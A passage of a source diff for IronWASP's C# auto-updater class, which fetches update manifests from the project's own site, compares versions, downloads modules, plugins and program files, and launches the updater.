MVersion}); - } - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - - XW.WriteStartDocument(); - XW.WriteStartElement("manifest"); - - XmlDocument XmlDoc = new XmlDocument(); - XmlDoc.XmlResolver = null; - try - { - using (MemoryStream MS = new MemoryStream(Encoding.UTF8.GetBytes(ModuleManifestFile))) - { - XmlDoc.Load(MS); - } - } - catch { throw new Exception("Invalid IronWASP update manifest file recieved."); } - - XmlNodeList FileNodes = null; - - if (XmlDoc.ChildNodes.Count == 1) - { - FileNodes = XmlDoc.FirstChild.ChildNodes; - } - else if (XmlDoc.ChildNodes.Count == 2) - { - FileNodes = XmlDoc.ChildNodes[1].ChildNodes; - } - - foreach (XmlNode FileNode in FileNodes) - { - string Version = ""; - string Action = ""; - string ModuleName = ""; - string DownloadFileName = ""; - string Comment = ""; - - foreach (XmlNode PropertyNode in FileNode.ChildNodes) - { - switch (PropertyNode.Name) - { - case ("version"): - Version = PropertyNode.InnerText; - break; - case ("action"): - Action = PropertyNode.InnerText; - break; - case ("modulename"): - ModuleName = PropertyNode.InnerText; - break; - case ("downloadname"): - DownloadFileName = PropertyNode.InnerText; - break; - case ("comment"): - Comment = PropertyNode.InnerText; - break; - } - } - - if (Action.Equals("add") || Action.Equals("update")) - { - bool MatchFound = false; - string[] MatchedModuleInfo = new string[2]; - foreach (string[] ModuleInfo in ModulesInfo) - { - if (ModuleInfo[0].Equals(ModuleName.Replace(".zip", ""))) - { - MatchFound = true; - MatchedModuleInfo = ModuleInfo; - break; - } - } - - if ((MatchFound && !MatchedModuleInfo[1].Equals(Version)) || !MatchFound) - { - DownloadModule(ModuleName, DownloadFileName); - XW.WriteStartElement("file"); - XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); - XW.WriteStartElement("modulename"); XW.WriteValue(ModuleName); XW.WriteEndElement(); - XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); - XW.WriteEndElement(); - } - } - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - - StreamWriter SW = File.CreateText(Config.Path + "\\updates\\module_manifest.xml"); - SW.Write(SB.ToString()); - SW.Close(); - - //string[] IronWASPManifestLines = IronWASPManifestFile.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - - //foreach (string Line in IronWASPManifestLines) - //{ - // string[] LineParts = Line.Split(new char[] { '|' }, 5); - // if (LineParts.Length != 5) - // { - // throw new Exception("Invalid 'IronWASP Manifest File' recieved from server"); - // } - // IronWASPManifestInfo.Add(LineParts); - //} - //foreach (string[] IronWASPManifestInfoLine in IronWASPManifestInfo) - //{ - // if (IronWASPManifestInfoLine[0].Equals("+") || IronWASPManifestInfoLine[0].Equals("*")) - // { - // if (IsGreaterVersion(IronWASPManifestInfoLine[1])) - // { - // DownloadIronWASPFile(IronWASPManifestInfoLine[2], IronWASPManifestInfoLine[3]); - // } - // } - //} - } - - static void GetNewPlugins() - { - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - - XW.WriteStartDocument(); - XW.WriteStartElement("manifest"); - - XmlDocument XmlDoc = new XmlDocument(); - XmlDoc.XmlResolver = null; - try - { - using (MemoryStream MS = new MemoryStream(Encoding.UTF8.GetBytes(PluginManifestFile))) - { - XmlDoc.Load(MS); - } - } - catch { throw new Exception("Invalid IronWASP update manifest file recieved."); } - - XmlNodeList PluginNodes = null; - - if (XmlDoc.ChildNodes.Count == 1) - { - PluginNodes = XmlDoc.FirstChild.ChildNodes; - } - else if (XmlDoc.ChildNodes.Count == 2) - { - PluginNodes = XmlDoc.ChildNodes[1].ChildNodes; - } - - foreach (XmlNode PluginNode in PluginNodes) - { - GetNewPlugins(PluginNode); - } - //string[] PluginManifestLines = PluginManifestFile.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - - //foreach (string Line in PluginManifestLines) - //{ - // string[] LineParts = Line.Split(new char[] { '|' }, 6); - // if (LineParts.Length != 6) - // { - // throw new Exception("Invalid 'Plugin Manifest File' recieved from server"); - // } - // PluginManifestInfo.Add(LineParts); - //} - //List CurrentPluginInfo = new List(); - //foreach (string Name in ActivePlugin.List()) - //{ - // ActivePlugin AP = ActivePlugin.Get(Name); - // string[] CurrentInfo = new string[] { "active", AP.Version, AP.FileName.Substring(AP.FileName.LastIndexOf('\\') + 1) }; - // CurrentPluginInfo.Add(CurrentInfo); - //} - //foreach (string Name in PassivePlugin.List()) - //{ - // PassivePlugin PP = PassivePlugin.Get(Name); - // string[] CurrentInfo = new string[] { "passive", PP.Version, PP.FileName.Substring(PP.FileName.LastIndexOf('\\') + 1) }; - // CurrentPluginInfo.Add(CurrentInfo); - //} - //foreach (string Name in FormatPlugin.List()) - //{ - // FormatPlugin FP = FormatPlugin.Get(Name); - // string[] CurrentInfo = new string[] { "format", FP.Version, FP.FileName.Substring(FP.FileName.LastIndexOf('\\') + 1) }; - // CurrentPluginInfo.Add(CurrentInfo); - //} - //foreach (string Name in SessionPlugin.List()) - //{ - // SessionPlugin SP = SessionPlugin.Get(Name); - // string[] CurrentInfo = new string[] { "session", SP.Version, SP.FileName.Substring(SP.FileName.LastIndexOf('\\') + 1) }; - // CurrentPluginInfo.Add(CurrentInfo); - //} - //foreach (string[] PluginManifestInfoLine in PluginManifestInfo) - //{ - // if (PluginManifestInfoLine[0].StartsWith("+") || PluginManifestInfoLine[0].StartsWith("*")) - // { - // bool MatchFound = false; - // foreach (string[] CurrentPluginLineInfo in CurrentPluginInfo) - // { - // if (PluginManifestInfoLine[1].Equals(CurrentPluginLineInfo[0]) && PluginManifestInfoLine[3].Equals(CurrentPluginLineInfo[2])) - // { - // MatchFound = true; - // if (!PluginManifestInfoLine[2].Equals(CurrentPluginLineInfo[1])) - // { - // DownloadPlugin(PluginManifestInfoLine[1], PluginManifestInfoLine[3], PluginManifestInfoLine[4]); - // } - // break; - // } - // else if (PluginManifestInfoLine[0].Contains("_")) - // { - // string[] SupportDetailParts = PluginManifestInfoLine[0].Split(new char[] { '_' }, 2); - // if (PluginManifestInfoLine[1].Equals(CurrentPluginLineInfo[0]) && SupportDetailParts[1].Equals(CurrentPluginLineInfo[2])) - // { - // MatchFound = true; - // if (!PluginManifestInfoLine[2].Equals(CurrentPluginLineInfo[1])) - // { - // DownloadPlugin(PluginManifestInfoLine[1], PluginManifestInfoLine[3], PluginManifestInfoLine[4]); - // } - // break; - // } - // } - // } - // if (!MatchFound) - // { - // DownloadPlugin(PluginManifestInfoLine[1], PluginManifestInfoLine[3], PluginManifestInfoLine[4]); - // } - // } - //} - } - - static void GetNewPlugins(XmlNode ManifestNode) - { - string PluginType = ManifestNode.Name; - - List AllPluginInfo = new List(); - - switch (PluginType) - { - case("active"): - foreach (string Name in ActivePlugin.List()) - { - ActivePlugin P = ActivePlugin.Get(Name); - AllPluginInfo.Add(new string[]{P.FileName, P.Version}); - } - break; - case ("passive"): - foreach (string Name in PassivePlugin.List()) - { - PassivePlugin P = PassivePlugin.Get(Name); - AllPluginInfo.Add(new string[] { P.FileName, P.Version }); - } - break; - case ("format"): - foreach (string Name in FormatPlugin.List()) - { - FormatPlugin P = FormatPlugin.Get(Name); - AllPluginInfo.Add(new string[] { P.FileName, P.Version }); - } - break; - case ("session"): - foreach (string Name in SessionPlugin.List()) - { - SessionPlugin P = SessionPlugin.Get(Name); - AllPluginInfo.Add(new string[] { P.FileName, P.Version }); - } - break; - } - - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - - XW.WriteStartDocument(); - XW.WriteStartElement("manifest"); - - foreach (XmlNode FileNode in ManifestNode.ChildNodes) - { - string Version = ""; - string Action = ""; - string FileName = ""; - string DownloadFileName = ""; - string Comment = ""; - List SupportFiles = new List(); - - foreach (XmlNode PropertyNode in FileNode.ChildNodes) - { - switch (PropertyNode.Name) - { - case ("version"): - Version = PropertyNode.InnerText; - break; - case ("action"): - Action = PropertyNode.InnerText; - break; - case ("filename"): - FileName = PropertyNode.InnerText; - break; - case ("downloadname"): - DownloadFileName = PropertyNode.InnerText; - break; - case ("comment"): - Comment = PropertyNode.InnerText; - break; - case ("support_file"): - string SupportFileName = ""; - string SupportFileDownloadName = ""; - foreach (XmlNode SupportFileNode in PropertyNode.ChildNodes) - { - switch (SupportFileNode.Name) - { - case ("filename"): - SupportFileName = SupportFileNode.InnerText; - break; - case ("downloadname"): - SupportFileDownloadName = SupportFileNode.InnerText; - break; - } - } - SupportFiles.Add(new string[]{SupportFileName, SupportFileDownloadName}); - break; - } - } - - if (Action.Equals("add") || Action.Equals("update")) - { - bool MatchFound = false; - string[] MatchedPluginInfo = new string[2]; - foreach (string[] PluginInfo in AllPluginInfo) - { - if (PluginInfo[0].Equals(FileName)) - { - MatchFound = true; - MatchedPluginInfo = PluginInfo; - break; - } - } - - if ((MatchFound && !MatchedPluginInfo[1].Equals(Version)) || !MatchFound) - { - DownloadPlugin(PluginType, FileName, DownloadFileName); - XW.WriteStartElement("file"); - XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); - XW.WriteStartElement("filename"); XW.WriteValue(FileName); XW.WriteEndElement(); - XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); - XW.WriteEndElement(); - foreach (string[] SupportFile in SupportFiles) - { - DownloadPlugin(PluginType, SupportFile[0], SupportFile[1]); - XW.WriteStartElement("file"); - XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); - XW.WriteStartElement("filename"); XW.WriteValue(SupportFile[0]); XW.WriteEndElement(); - XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); - XW.WriteEndElement(); - } - } - } - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - - StreamWriter SW = File.CreateText(Config.Path + "\\updates\\" + PluginType + "_plugin_manifest.xml"); - SW.Write(SB.ToString()); - SW.Close(); - } - - static void GetNewIronWASP() - { - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - - XW.WriteStartDocument(); - XW.WriteStartElement("manifest"); - - XmlDocument XmlDoc = new XmlDocument(); - XmlDoc.XmlResolver = null; - try - { - using (MemoryStream MS = new MemoryStream(Encoding.UTF8.GetBytes(IronWASPManifestFile))) - { - XmlDoc.Load(MS); - } - } - catch { throw new Exception("Invalid IronWASP update manifest file recieved."); } - - XmlNodeList FileNodes = null; - - if (XmlDoc.ChildNodes.Count == 1) - { - FileNodes = XmlDoc.FirstChild.ChildNodes; - } - else if (XmlDoc.ChildNodes.Count == 2) - { - FileNodes = XmlDoc.ChildNodes[1].ChildNodes; - } - - foreach (XmlNode FileNode in FileNodes) - { - string Version = ""; - string Action = ""; - string FileName = ""; - string DownloadFileName = ""; - string Comment = ""; - - foreach (XmlNode PropertyNode in FileNode.ChildNodes) - { - switch (PropertyNode.Name) - { - case ("version"): - Version = PropertyNode.InnerText; - break; - case ("action"): - Action = PropertyNode.InnerText; - break; - case ("filename"): - FileName = PropertyNode.InnerText; - break; - case ("downloadname"): - DownloadFileName = PropertyNode.InnerText; - break; - case ("comment"): - Comment = PropertyNode.InnerText; - break; - } - } - - if (Action.Equals("add") || Action.Equals("update")) - { - if (IsGreaterVersion(Version)) - { - DownloadIronWASPFile(FileName, DownloadFileName); - XW.WriteStartElement("file"); - XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); - XW.WriteStartElement("filename"); XW.WriteValue(FileName); XW.WriteEndElement(); - XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); - XW.WriteEndElement(); - } - } - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - - StreamWriter SW = File.CreateText(Config.Path + "\\updates\\ironwasp_manifest.xml"); - SW.Write(SB.ToString()); - SW.Close(); - - //string[] IronWASPManifestLines = IronWASPManifestFile.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - - //foreach (string Line in IronWASPManifestLines) - //{ - // string[] LineParts = Line.Split(new char[] { '|' }, 5); - // if (LineParts.Length != 5) - // { - // throw new Exception("Invalid 'IronWASP Manifest File' recieved from server"); - // } - // IronWASPManifestInfo.Add(LineParts); - //} - //foreach (string[] IronWASPManifestInfoLine in IronWASPManifestInfo) - //{ - // if (IronWASPManifestInfoLine[0].Equals("+") || IronWASPManifestInfoLine[0].Equals("*")) - // { - // if (IsGreaterVersion(IronWASPManifestInfoLine[1])) - // { - // DownloadIronWASPFile(IronWASPManifestInfoLine[2], IronWASPManifestInfoLine[3]); - // } - // } - //} - } - - static void GetNewModulesDb() - { - string CurrentModulesDbFile = ""; - try - { - CurrentModulesDbFile = File.ReadAllText(string.Format("{0}\\ModulesDB.exe", Config.RootDir)); - } - catch (Exception Exp) - { - throw new Exception("Unable to read the contents of ModulesDB.exe file", Exp); - } - try - { - if (!Tools.IsXmlContentSame(CurrentModulesDbFile, ModulesDbFile)) - { - try - { - File.WriteAllText(Config.Path + "\\updates\\ironwasp\\ModulesDB.exe", ModulesDbFile); - NewUpdateAvailable = true; - } - catch (Exception Exp) - { - throw new Exception("Unable to update the contents of ModulesDB.exe file", Exp); - } - } - } - catch(Exception Exp) - { - throw new Exception("Invalid ModulesDB.exe file, not a valid XML", Exp); - } - } - - static void DownloadModule(string ModuleName, string PseudoName) - { - Request ModuleFetchReq = new Request(ModuleDownloadBaseUrl + "/" + PseudoName); - ModuleFetchReq.Source = RequestSource.Stealth; - Response ModuleFetchRes = ModuleFetchReq.Send(); - if (!ModuleFetchRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - if (ModuleFetchRes.Code != 200) - { - throw new Exception("Downloading updated modules failed"); - } - try - { - ModuleFetchRes.SaveBody(Config.Path + "\\updates\\modules\\" + ModuleName + ".zip"); - using (ZipFile ZF = ZipFile.Read(Config.Path + "\\updates\\modules\\" + ModuleName + ".zip")) - { - ZF.ExtractAll(Config.Path + "\\updates\\modules\\"); - } - NewUpdateAvailable = true; - } - catch (Exception Exp) { IronException.Report(string.Format("Error Downloading Module: {0} - {1} ", ModuleName, PseudoName), Exp); } - } - - static void DownloadPlugin(string PluginType, string FileName, string PseudoName) - { - Request PluginFetchReq = new Request(PluginDownloadBaseUrl + PluginType + "/" + PseudoName); - PluginFetchReq.Source = RequestSource.Stealth; - Response PluginFetchRes = PluginFetchReq.Send(); - if (!PluginFetchRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - if (PluginFetchRes.Code != 200) - { - throw new Exception("Downloading updated plugins failed"); - } - try - { - PluginFetchRes.SaveBody(Config.Path + "\\updates\\plugins\\" + PluginType + "\\" + FileName); - NewUpdateAvailable = true; - } - catch (Exception Exp) { IronException.Report(string.Format("Error Downloading Plugin: {0} - {1} - {2}", PluginType, FileName, PseudoName), Exp); } - } - - static void DownloadIronWASPFile(string FileName, string PseudoName) - { - Request IronWASPFileFetchReq = new Request(IronWASPDownloadBaseUrl + PseudoName); - IronWASPFileFetchReq.Source = RequestSource.Stealth; - Response IronWASPFileFetchRes = IronWASPFileFetchReq.Send(); - if (!IronWASPFileFetchRes.IsSslValid) - { - throw new Exception("Invalid SSL Certificate provided by the server"); - } - if (IronWASPFileFetchRes.Code != 200) - { - throw new Exception("Downloading updated IronWASP version failed"); - } - if (FileName.Equals("Updater.exe")) - { - try - { - File.Delete(Config.Path + "\\Updater.exe"); - } - catch { } - IronWASPFileFetchRes.SaveBody(Config.Path + "\\Updater.exe"); - } - else - { - IronWASPFileFetchRes.SaveBody(Config.Path + "\\updates\\ironwasp\\" + FileName); - } - NewUpdateAvailable = true; - } - - static bool IsGreaterVersion(string ManifestVersion) - { - try - { - string[] CurrentVersionParts = CurrentVersion.Split('.'); - string[] ManifestVersionParts = ManifestVersion.Split('.'); - List CurrentVersionIntParts = new List(); - List ManifestVersionIntParts = new List(); - foreach (string VP in CurrentVersionParts) - { - CurrentVersionIntParts.Add(Int32.Parse(VP)); - } - foreach (string VP in ManifestVersionParts) - { - ManifestVersionIntParts.Add(Int32.Parse(VP)); - } - if (CurrentVersionIntParts.Count != ManifestVersionIntParts.Count) return true; - for (int i = 0; i < CurrentVersionIntParts.Count; i++) - { - if (CurrentVersionIntParts[i] < ManifestVersionIntParts[i]) - { - return true; - } - else if (CurrentVersionIntParts[i] > ManifestVersionIntParts[i]) - { - return false; - } - } - return false; - } - catch - { - return true; - } - } - - internal static void StopUpdateCheck() - { - try - { - T.Abort(); - } - catch{} - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Net; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using System.Xml; +using Ionic.Zip; + +namespace IronWASP +{ + class CheckUpdate + { + static string CurrentVersion = "0.9.8.6"; + + //static string PluginManifestUrl = "https://ironwasp.org/update/plugin.manifest"; + //static string IronWASPManifestUrl = "https://ironwasp.org/update/ironwasp.manifest"; + + static string PluginManifestUrl = "https://ironwasp.org/update/plugin_manifest.xml"; + static string ModuleManifestUrl = "https://ironwasp.org/update/module_manifest.xml"; + static string IronWASPManifestUrl = "https://ironwasp.org/update/ironwasp_manifest.xml"; + static string ModulesDbUrl = "https://ironwasp.org/update/modules_db.xml"; + + static string ModuleDownloadBaseUrl = "https://ironwasp.org/update/modules/"; + static string PluginDownloadBaseUrl = "https://ironwasp.org/update/plugins/"; + static string IronWASPDownloadBaseUrl = "https://ironwasp.org/update/ironwasp/"; + + static string ModuleManifestFile = ""; + static string PluginManifestFile = ""; + static string IronWASPManifestFile = ""; + static string ModulesDbFile = ""; + + + static List PluginManifestInfo = new List(); + static List IronWASPManifestInfo = new List(); + + static Thread T; + + static bool NewUpdateAvailable = false; + + internal static void CheckForUpdates() + { + T = new Thread(StartCheck); + T.Start(); + } + + static void StartCheck() + { + try + { + Request IronWASPManifestReq = new Request(IronWASPManifestUrl); + IronWASPManifestReq.Source = RequestSource.Stealth; + IronWASPManifestReq.Headers.Set("User-Agent", "IronWASP v" + CurrentVersion); + Response IronWASPManifestRes = IronWASPManifestReq.Send(); + if (!IronWASPManifestRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + IronWASPManifestFile = IronWASPManifestRes.BodyString; + + Request ModulesDbReq = new Request(ModulesDbUrl); + ModulesDbReq.Source = RequestSource.Stealth; + ModulesDbReq.Headers.Set("User-Agent", "IronWASP v" + CurrentVersion); + Response ModulesDbRes = ModulesDbReq.Send(); + if (!ModulesDbRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + //The ASCII conversion and substring is done to remove the unicode characters introduced at the beginning of the xml. Must find out why this happens. + ModulesDbFile = Encoding.ASCII.GetString(ModulesDbRes.BodyArray); + ModulesDbFile = ModulesDbFile.Substring(ModulesDbFile.IndexOf('<')); + + Request PluginManifestReq = new Request(PluginManifestUrl); + PluginManifestReq.Source = RequestSource.Stealth; + PluginManifestReq.Headers.Set("User-Agent","IronWASP v" + CurrentVersion); + Response PluginManifestRes = PluginManifestReq.Send(); + if (!PluginManifestRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + PluginManifestFile = PluginManifestRes.BodyString; + + Request ModuleManifestReq = new Request(ModuleManifestUrl); + ModuleManifestReq.Source = RequestSource.Stealth; + ModuleManifestReq.Headers.Set("User-Agent", "IronWASP v" + CurrentVersion); + Response ModuleManifestRes = ModuleManifestReq.Send(); + if (!ModuleManifestRes.IsSslValid) + { + throw new Exception("Invalid SSL Certificate provided by the server"); + } + ModuleManifestFile = ModuleManifestRes.BodyString; + + SetUpUpdateDirs(); + GetNewIronWASP(); + GetNewModulesDb(); + GetNewPlugins(); + GetNewModules(); + if (NewUpdateAvailable) + { + try + { + Tools.Run(string.Format("{0}\\Updater.exe", Config.RootDir)); + } + catch (Exception Exp) { IronException.Report("Unable to Open IronWASP Updater", Exp); } + } + } + catch(ThreadAbortException) { } + catch(Exception Exp) + { + IronException.Report("Software Update Failed", Exp); + } + } + + static void SetUpUpdateDirs() + { + try + { + Directory.Delete(Config.Path + "\\updates", true); + } + catch { } + try + { + Directory.CreateDirectory(Config.Path + "\\updates"); + Directory.CreateDirectory(Config.Path + "\\updates\\plugins"); + Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\active"); + Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\passive"); + Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\format"); + Directory.CreateDirectory(Config.Path + "\\updates\\plugins\\session"); + Directory.CreateDirectory(Config.Path + "\\updates\\modules"); + Directory.CreateDirectory(Config.Path + "\\updates\\ironwasp"); + } + catch + { + throw new Exception("Unable to create Update directories, update failed"); + } + } + + static void GetNewModules() + { + List ModulesInfo = new List(); + foreach (string Name in Module.ListAll()) + { + string MVersion = Module.GetVersion(Name); + ModulesInfo.Add(new string[]{Name, MVersion}); + } + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + + XW.WriteStartDocument(); + XW.WriteStartElement("manifest"); + + XmlDocument XmlDoc = new XmlDocument(); + XmlDoc.XmlResolver = null; + try + { + using (MemoryStream MS = new MemoryStream(Encoding.UTF8.GetBytes(ModuleManifestFile))) + { + XmlDoc.Load(MS); + } + } + catch { throw new Exception("Invalid IronWASP update manifest file recieved."); } + + XmlNodeList FileNodes = null; + + if (XmlDoc.ChildNodes.Count == 1) + { + FileNodes = XmlDoc.FirstChild.ChildNodes; + } + else if (XmlDoc.ChildNodes.Count == 2) + { + FileNodes = XmlDoc.ChildNodes[1].ChildNodes; + } + + foreach (XmlNode FileNode in FileNodes) + { + string Version = ""; + string Action = ""; + string ModuleName = ""; + string DownloadFileName = ""; + string Comment = ""; + + foreach (XmlNode PropertyNode in FileNode.ChildNodes) + { + switch (PropertyNode.Name) + { + case ("version"): + Version = PropertyNode.InnerText; + break; + case ("action"): + Action = PropertyNode.InnerText; + break; + case ("modulename"): + ModuleName = PropertyNode.InnerText; + break; + case ("downloadname"): + DownloadFileName = PropertyNode.InnerText; + break; + case ("comment"): + Comment = PropertyNode.InnerText; + break; + } + } + + if (Action.Equals("add") || Action.Equals("update")) + { + bool MatchFound = false; + string[] MatchedModuleInfo = new string[2]; + foreach (string[] ModuleInfo in ModulesInfo) + { + if (ModuleInfo[0].Equals(ModuleName.Replace(".zip", ""))) + { + MatchFound = true; + MatchedModuleInfo = ModuleInfo; + break; + } + } + + if ((MatchFound && !MatchedModuleInfo[1].Equals(Version)) || !MatchFound) + { + DownloadModule(ModuleName, DownloadFileName); + XW.WriteStartElement("file"); + XW.WriteStartElement("action"); XW.WriteValue(Action); XW.WriteEndElement(); + XW.WriteStartElement("modulename"); XW.WriteValue(ModuleName); XW.WriteEndElement(); + XW.WriteStartElement("comment"); XW.WriteValue(Comment); XW.WriteEndElement(); + XW.WriteEndElement(); + } + } + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + + StreamWriter SW = File.CreateText(Config.Path + "\\updates\\module_manifest.xml"); + SW.Write(SB.ToString()); + SW.Close(); + + //string[] IronWASPManifestLines = IronWASPManifestFile.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + + //foreach (string Line in IronWASPManifestLines) + //{ + // string[] LineParts = Line.Split(new char[] { '|' }, 5); + // if (LineParts.Length != 5) + // { + // throw new Exception("Invalid 'IronWASP Manifest File' recieved from server"); + // } + // IronWASPManifestInfo.Add(LineParts); + //} + //foreach (string[] IronWASPManifestInfoLine in IronWASPManifestInfo) + //{ + // if (IronWASPManifestInfoLine[0].Equals("+") || IronWASPManifestInfoLine[0].Equals("*")) + // { + // if (IsGreaterVersion(IronWASPManifestInfoLine[1])) + // { + // DownloadIronWASPFile(IronWASPManifestInfoLine[2], IronWASPManifestInfoLine[3]); + // } + // } + //} + } + + static void GetNewPlugins() + { + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + + XW.WriteStartDocument(); + XW.WriteStartElement("manifest"); + + XmlDocument XmlDoc = new XmlDocument(); + XmlDoc.XmlResolver = null; + try + { + using (MemoryStream MS = new MemoryStream(Encoding.UTF8.GetBytes(PluginManifestFile))) + { + XmlDoc.Load(MS); + } + } + catch { throw new Exception("Invalid IronWASP update manifest file recieved."); } + + XmlNodeList PluginNodes = null; + + if (XmlDoc.ChildNodes.Count == 1) + { + PluginNodes = XmlDoc.FirstChild.ChildNodes; + } + else if (XmlDoc.ChildNodes.Count == 2) + { + PluginNodes = XmlDoc.ChildNodes[1].ChildNodes; + } + + foreach (XmlNode PluginNode in PluginNodes) + { + GetNewPlugins(PluginNode); + } + //string[] PluginManifestLines = PluginManifestFile.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + + //foreach (string Line in PluginManifestLines) + //{ + // string[] LineParts = Line.Split(new char[] { '|' }, 6); + // if (LineParts.Length != 6) + // { + // throw new Exception("Invalid 'Plugin Manifest File' recieved from server"); + // } + // PluginManifestInfo.Add(LineParts); + //} + //List CurrentPluginInfo = new List(); + //foreach (string Name in ActivePlugin.List()) + //{ + // ActivePlugin AP = ActivePlugin.Get(Name); + // string[] CurrentInfo = new string[] { "active", AP.Version, AP.FileName.Substring(AP.FileName.LastIndexOf('\\') + 1) }; + // CurrentPluginInfo.Add(CurrentInfo); + //} + //foreach (string Name in PassivePlugin.List()) + //{ + // PassivePlugin PP = PassivePlugin.Get(Name); + // string[] CurrentInfo = new string[] { "passive", PP.Version, PP.FileName.Substring(PP.FileName.LastIndexOf('\\') + 1) }; + // CurrentPluginInfo.Add(CurrentInfo); + //} + //foreach (string Name in FormatPlugin.List()) + //{ + // FormatPlugin FP = FormatPlugin.Get(Name); + // string[] CurrentInfo = new string[] { "format", FP.Version, FP.FileName.Substring(FP.FileName.LastIndexOf('\\') + 1) }; + // CurrentPluginInfo.Add(CurrentInfo); + //} + //foreach (string Name in SessionPlugin.List()) + //{ + // SessionPlugin SP = SessionPlugin.Get(Name); + // string[] CurrentInfo = new string[] { "session", SP.Version, SP.FileName.Substring(SP.FileName.LastIndexOf('\\') + 1) }; + // CurrentPluginInfo.Add(CurrentInfo); + //} + //foreach (string[] PluginManifestInfoLine in PluginManifestInfo) + //{ + // if (PluginManifestInfoLine[0].StartsWith("+") || PluginManifestInfoLine[0].StartsWith("*")) + // { + // bool MatchFound = false; + // foreach (string[] CurrentPluginLineInfo in CurrentPluginInfo) + // { + // if (PluginManifestInfoLine[1].Equals(CurrentPluginLineInfo[0]) && PluginManifestInfoLine[3].Equals(CurrentPluginLineInfo[2])) + // { + // MatchFound = true; + // if (!PluginManifestInfoLine[2].Equals(CurrentPluginLineInfo[1])) + // { + // DownloadPlugin(PluginManifestInfoLine[1], PluginManifestInfoLine[3], PluginManifestInfoLine[4]); + // } + // break; + // } + // else if (PluginManifestInfoLine[0].Contains("_")) + // { + // string[] SupportDetailParts = PluginManifestInfoLine[0].Split(new char[] { '_' }, 2); + // if (PluginManifestInfoLine[1].Equals(CurrentPluginLineInfo[0]) && SupportDetailParts[1].Equals(CurrentPluginLineInfo[2])) + // { + // MatchFound = true; + // if (!PluginManifestInfoLine[2].Equals(CurrentPluginLineInfo[1])) + // { + // DownloadPlugin(PluginManifestInfoLine[1], PluginManifestInfoLine[3], PluginManifestInfoLine[4]); + // } + // break; + // } + // } + // } + // if (!MatchFound) + // { + // DownloadPlugin(PluginManifestInfoLine[1], PluginManifestInfoLine[3], PluginManifestInfoLine[4]); + // } + // } + //} + } + + static void GetNewPlugins(XmlNode ManifestNode) + { + string PluginType = ManifestNode.Name; + + List AllPluginInfo = new List(); + + switch (PluginType) + { + case("active"): + foreach (string Name in ActivePlugin.List()) + { + ActivePlugin P = ActivePlugin.Get(Name); + AllPluginInfo.Add(new string[]{P.FileName, P.Version}); + } + break; + case ("passive"): + foreach (string Name in PassivePlugin.List()) + { + PassivePlugin P = PassivePlugin.Get(Name); + AllPluginInfo.Add(new string[] { P.FileName, P.Version }); + } + break; + case ("format"): + foreach (string Name in FormatPlugin.List()) + { + FormatPlugin P = FormatPlugin.Get(Name); + AllPluginInfo.Add(new string[] { P.FileName, P.Version }); + } + break; + case ("session"): + foreach (string Name in SessionPlugin.List()) + { + SessionPlugin P = SessionPlugin.Get(Name); + AllPluginInfo.Add(new string[] { P.FileName, P.Version }); + } + break; + } + + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + + XW.WriteStartDocument(); + XW.WriteStartElement("manifest"); + + foreach (XmlNode FileNode in ManifestNode.ChildNodes) + { + string Version = ""; + string Action = ""; + string FileName = ""; + string DownloadFileName = ""; + string Comment = ""; + List SupportFiles = new List(); + + foreach (XmlNode PropertyNode in FileNode.ChildNodes) + { + switch (PropertyNode.Name) + { + case ("version"): + Version = PropertyNode.InnerText; + break; + case ("action"): + Action = PropertyNode.InnerText; + break; + case ("filename"): + FileName = PropertyNode.InnerText; + break; + case ("downloadname"): + DownloadFileName = PropertyNode.InnerText; + break; + case ("comment"): + Comment = PropertyNode.InnerText; + break; + case ("support_file"): + string SupportFileName = ""; + string SupportFileDownloadName = ""; + foreach (XmlNode SupportFileNode in PropertyNode.ChildNodes) + { + switch (SupportFileNode.Name) + { + case ("filename"): + SupportFileName = 